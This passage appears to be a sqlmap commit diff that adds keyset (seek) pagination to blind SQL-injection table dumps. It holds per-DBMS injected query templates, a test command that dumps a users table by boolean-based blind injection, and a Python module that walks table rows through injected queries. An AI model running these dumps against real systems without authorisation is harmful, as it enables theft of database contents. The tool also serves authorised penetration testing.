mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-06-27 20:11:02 +00:00
Adding keyset (seek) pagination for faster blind table dumps
This commit is contained in:
parent
889ad43541
commit
497d3772bd
7 changed files with 355 additions and 15 deletions
|
|
@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch
|
|||
48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py
|
||||
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
|
||||
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
|
||||
fcb89f3b6474c6201fe2a77417c5c422e4f81a5f44567a51fb05eb6f6df22e93 lib/core/settings.py
|
||||
8411f42e10133c779cff837c6e51698cfebe0796f93ca9e3575a5644d64a3e04 lib/core/settings.py
|
||||
cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py
|
||||
bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py
|
||||
70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py
|
||||
|
|
@ -253,6 +253,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps
|
|||
0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py
|
||||
71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py
|
||||
1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py
|
||||
04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f lib/utils/pivotdumptable.py
|
||||
c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py
|
||||
c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py
|
||||
|
|
|
|||
|
|
@ -61,7 +61,8 @@
|
|||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY'" query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY' ORDER BY ORDINAL_POSITION LIMIT %d,1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
|
||||
|
|
@ -136,7 +137,8 @@
|
|||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position OFFSET %d LIMIT 1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||
|
|
@ -207,7 +209,8 @@
|
|||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')" query="SELECT name FROM (SELECT c.name AS name, ROW_NUMBER() OVER (ORDER BY ic.key_ordinal) AS rn FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id JOIN sys.columns c ON ic.object_id=c.object_id AND c.column_id=ic.column_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')) x WHERE rn=%d+1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||
|
|
@ -302,7 +305,8 @@
|
|||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT c FROM (SELECT %s AS c FROM %s WHERE %s ORDER BY %s) WHERE ROWNUM=1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')" query="SELECT column_name FROM (SELECT cols.column_name, ROW_NUMBER() OVER (ORDER BY cols.position) AS rn FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')) WHERE rn=%d+1"/>
|
||||
</dump_table>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<search_db>
|
||||
|
|
@ -362,7 +366,7 @@
|
|||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table>
|
||||
|
|
@ -726,7 +730,8 @@
|
|||
<inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
|
|
@ -790,7 +795,8 @@
|
|||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME" query2="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition2="COLUMN_NAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
|
|
@ -1445,7 +1451,8 @@
|
|||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position LIMIT 1 OFFSET %d"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.6.129"
|
||||
VERSION = "1.10.6.130"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
|
|||
|
|
@ -84,6 +84,7 @@ def vulnTest():
|
|||
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
|
||||
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||
("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||
("-u <url> --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor
|
||||
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")),
|
||||
("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
|
||||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
|
|
|
|||
312
lib/utils/keysetdump.py
Normal file
312
lib/utils/keysetdump.py
Normal file
|
|
@ -0,0 +1,312 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.bigarray import BigArray
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import isNoneValue
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getConsoleLength
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.dicts import DUMP_REPLACEMENTS
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.utils.safe2bin import safechardecode
|
||||
|
||||
# back-end DBMSes whose dump table reference is schema/database-qualified (db.table).
|
||||
# Note: for MSSQL the table identifier already carries its schema (e.g. dbo.users), so the
|
||||
# plain db.table form yields the correct db.schema.table (e.g. [master].dbo.users).
|
||||
KEYSET_SCHEMA_QUALIFIED = (DBMS.MYSQL, DBMS.PGSQL, DBMS.CRATEDB, DBMS.MSSQL, DBMS.H2, DBMS.HSQLDB)
|
||||
|
||||
def _tableRef(tbl):
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
if dbms in (DBMS.ORACLE,) and conf.db:
|
||||
return "%s.%s" % (conf.db.upper(), tbl.upper())
|
||||
if dbms in KEYSET_SCHEMA_QUALIFIED and conf.db:
|
||||
return "%s.%s" % (conf.db, tbl)
|
||||
return tbl
|
||||
|
||||
def keysetSupported():
|
||||
"""
|
||||
Whether the back-end DBMS declares the keyset (seek) pagination queries and a
|
||||
cursor source (a physical row-id pseudo-column or a primary-key catalog lookup)
|
||||
"""
|
||||
|
||||
dumpNode = queries[Backend.getIdentifiedDbms()].dump_table
|
||||
return "keyset_next" in dumpNode.blind and ("rowid" in dumpNode.blind or "primary_key" in dumpNode)
|
||||
|
||||
def _integerCursor(tbl, cursor):
|
||||
"""
|
||||
Whether every cursor column holds integer values, probed via MIN(col).
|
||||
|
||||
Only integer keys are accepted: _embed() emits them as bare numeric literals, giving a
|
||||
numeric comparison that matches MIN/ORDER BY. String (and even decimal) keys would be
|
||||
escaped to a binary/hex literal whose order can differ from MIN's collation and silently
|
||||
skip rows, so they are rejected here and fall back to the OFFSET dump.
|
||||
"""
|
||||
|
||||
blind = queries[Backend.getIdentifiedDbms()].dump_table.blind
|
||||
ref = _tableRef(tbl)
|
||||
|
||||
for column in cursor:
|
||||
query = agent.whereQuery(blind.keyset_first % (agent.preprocessField(tbl, column), ref))
|
||||
value = unArrayizeValue(inject.getValue(query))
|
||||
|
||||
# empty/NULL MIN (e.g. empty table) is not disqualifying; the walk just yields no rows
|
||||
if not isNoneValue(value) and re.match(r"\A-?[0-9]+\Z", getUnicode(value).strip()) is None:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def resolveKeysetCursor(tbl, colList):
|
||||
"""
|
||||
Returns the list of column(s) forming a stable, indexed cursor for keyset (seek)
|
||||
pagination of the table: a declared physical row-id pseudo-column when available,
|
||||
otherwise the indexed primary key (single or composite) resolved from the catalog.
|
||||
Returns None when neither applies or a key column is not part of the dumped columns.
|
||||
"""
|
||||
|
||||
if not keysetSupported():
|
||||
return None
|
||||
|
||||
dumpNode = queries[Backend.getIdentifiedDbms()].dump_table
|
||||
|
||||
# 1) a declared physical row-id pseudo-column (always unique + indexed where supported)
|
||||
if "rowid" in dumpNode.blind:
|
||||
return [dumpNode.blind.rowid]
|
||||
|
||||
# 2) the indexed primary key (single-column, or composite when keyset_ordered is declared)
|
||||
pkNode = dumpNode.primary_key
|
||||
|
||||
# Note: schema/table are string literals in the catalog lookups, so the unquoted
|
||||
# (identifier-unescaped) names are used (the dump queries keep the quoted form)
|
||||
unsafeDb = unsafeSQLIdentificatorNaming(conf.db)
|
||||
unsafeTbl = unsafeSQLIdentificatorNaming(tbl)
|
||||
|
||||
# Note: no whereQuery() here - these are catalog (schema) lookups, so the data-row
|
||||
# filter from --where must not be appended to them
|
||||
query = pkNode.count % (unsafeDb, unsafeTbl)
|
||||
count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
|
||||
try:
|
||||
count = int(count)
|
||||
except (ValueError, TypeError):
|
||||
return None
|
||||
|
||||
if count < 1:
|
||||
return None
|
||||
|
||||
# composite keys require the row-value/ordered keyset form
|
||||
if count > 1 and "keyset_ordered" not in dumpNode.blind:
|
||||
return None
|
||||
|
||||
cursor = []
|
||||
for index in xrange(count):
|
||||
query = pkNode.query % (unsafeDb, unsafeTbl, index)
|
||||
column = unArrayizeValue(inject.getValue(query))
|
||||
|
||||
if not column:
|
||||
return None
|
||||
|
||||
match = None
|
||||
for _ in colList:
|
||||
if _ and _.lower() == column.lower():
|
||||
match = _
|
||||
break
|
||||
|
||||
if match is None:
|
||||
return None
|
||||
|
||||
cursor.append(match)
|
||||
|
||||
# restrict to integer cursors: a string key's escaped-literal comparison may order
|
||||
# differently than MIN/ORDER BY and silently skip rows (such keys fall back to OFFSET)
|
||||
if not _integerCursor(tbl, cursor):
|
||||
return None
|
||||
|
||||
return cursor
|
||||
|
||||
def _lit(value):
|
||||
"""
|
||||
Type-correct SQL literal for a cursor value: a bare numeric literal for numeric keys
|
||||
(so the index is still used and the comparison is numeric), otherwise the DBMS-escaped
|
||||
(e.g. 0x.. hex) form for string keys. Both forms are self-contained (no surrounding quotes).
|
||||
"""
|
||||
|
||||
if value is not None and re.match(r"\A-?[0-9]+\Z", value):
|
||||
return value
|
||||
return unescaper.escape(value, False)
|
||||
|
||||
def _embed(template, value, *fixed):
|
||||
"""
|
||||
Fills a single-column keyset template whose trailing placeholder is the cursor value.
|
||||
"""
|
||||
|
||||
template = template.replace("'%s'", "%s")
|
||||
return template % (fixed + (_lit(value),))
|
||||
|
||||
def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths):
|
||||
blind = queries[Backend.getIdentifiedDbms()].dump_table.blind
|
||||
field = agent.preprocessField(tbl, cursor)
|
||||
|
||||
if conf.limitStart and conf.limitStop:
|
||||
target = max(0, conf.limitStop - conf.limitStart + 1)
|
||||
elif conf.limitStop:
|
||||
target = conf.limitStop
|
||||
elif conf.limitStart:
|
||||
target = max(0, count - conf.limitStart + 1)
|
||||
else:
|
||||
target = count
|
||||
|
||||
pivotValue = None
|
||||
|
||||
# hybrid: a single OFFSET jump to seed the cursor just before --start, then pure keyset
|
||||
if conf.limitStart and conf.limitStart > 1 and "keyset_seed" in blind:
|
||||
query = agent.whereQuery(blind.keyset_seed % (field, tableRef, field, conf.limitStart - 2))
|
||||
seed = unArrayizeValue(inject.getValue(query))
|
||||
|
||||
if isNoneValue(seed) or seed == NULL:
|
||||
return
|
||||
|
||||
pivotValue = safechardecode(seed)
|
||||
|
||||
produced = 0
|
||||
|
||||
while produced < target:
|
||||
if pivotValue is None:
|
||||
query = blind.keyset_first % (field, tableRef)
|
||||
else:
|
||||
query = _embed(blind.keyset_next, pivotValue, field, tableRef, field)
|
||||
|
||||
query = agent.whereQuery(query)
|
||||
value = unArrayizeValue(inject.getValue(query))
|
||||
|
||||
if isNoneValue(value) or value == NULL:
|
||||
break
|
||||
|
||||
value = safechardecode(value)
|
||||
|
||||
# safety latch against a non-advancing cursor (e.g. encoding edge cases)
|
||||
if value == pivotValue:
|
||||
singleTimeWarnMessage("keyset cursor stopped advancing prematurely")
|
||||
break
|
||||
|
||||
pivotValue = value
|
||||
|
||||
for column in colList:
|
||||
if column == cursor:
|
||||
colValue = pivotValue
|
||||
else:
|
||||
query = _embed(blind.keyset_by, pivotValue, agent.preprocessField(tbl, column), tableRef, field)
|
||||
query = agent.whereQuery(query)
|
||||
colValue = unArrayizeValue(inject.getValue(query, dump=True))
|
||||
|
||||
colValue = "" if isNoneValue(colValue) else colValue
|
||||
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue))))
|
||||
entries[column].append(colValue)
|
||||
|
||||
produced += 1
|
||||
|
||||
def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths):
|
||||
blind = queries[Backend.getIdentifiedDbms()].dump_table.blind
|
||||
fields = [agent.preprocessField(tbl, _) for _ in cursorCols]
|
||||
orderExpr = ','.join(fields)
|
||||
|
||||
startSkip = (conf.limitStart - 1) if conf.limitStart else 0
|
||||
if conf.limitStart and conf.limitStop:
|
||||
target = max(0, conf.limitStop - conf.limitStart + 1)
|
||||
elif conf.limitStop:
|
||||
target = conf.limitStop
|
||||
elif conf.limitStart:
|
||||
target = max(0, count - conf.limitStart + 1)
|
||||
else:
|
||||
target = count
|
||||
|
||||
prev = None
|
||||
produced = 0
|
||||
seen = 0
|
||||
|
||||
while produced < target and seen < count:
|
||||
if prev is None:
|
||||
condition = "1=1"
|
||||
else:
|
||||
# ANSI row-value (tuple) comparison advances the composite cursor lexicographically
|
||||
condition = "(%s)>(%s)" % (orderExpr, ','.join(_lit(_) for _ in prev))
|
||||
|
||||
tup = []
|
||||
for field in fields:
|
||||
query = agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, orderExpr))
|
||||
value = unArrayizeValue(inject.getValue(query))
|
||||
tup.append(None if isNoneValue(value) else safechardecode(value))
|
||||
|
||||
if all(isNoneValue(_) for _ in tup):
|
||||
break
|
||||
|
||||
if prev is not None and tup == prev:
|
||||
singleTimeWarnMessage("keyset cursor stopped advancing prematurely")
|
||||
break
|
||||
|
||||
prev = tup
|
||||
seen += 1
|
||||
|
||||
if seen <= startSkip:
|
||||
continue
|
||||
|
||||
equals = " AND ".join("%s=%s" % (field, _lit(value)) for field, value in zip(fields, tup))
|
||||
|
||||
for column in colList:
|
||||
if column in cursorCols:
|
||||
colValue = tup[cursorCols.index(column)]
|
||||
else:
|
||||
query = agent.whereQuery(blind.keyset_where % (agent.preprocessField(tbl, column), tableRef, equals))
|
||||
colValue = unArrayizeValue(inject.getValue(query, dump=True))
|
||||
|
||||
colValue = "" if isNoneValue(colValue) else colValue
|
||||
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue))))
|
||||
entries[column].append(colValue)
|
||||
|
||||
produced += 1
|
||||
|
||||
def keysetDumpTable(tbl, colList, count, cursor):
|
||||
"""
|
||||
Dumps a table one row at a time using keyset (seek) pagination on 'cursor' (a list of
|
||||
one or more indexed key columns): the next row is reached with a >/row-value comparison
|
||||
against the previous cursor (index range scan) and every other column is fetched with an
|
||||
exact equality on the cursor (index point seek), so no row is skipped via OFFSET and no
|
||||
per-row ORDER BY filesort is needed. A deep --start uses a single OFFSET "seed" jump
|
||||
(single-column cursors), after which the walk is pure keyset.
|
||||
"""
|
||||
|
||||
tableRef = _tableRef(tbl)
|
||||
lengths = {}
|
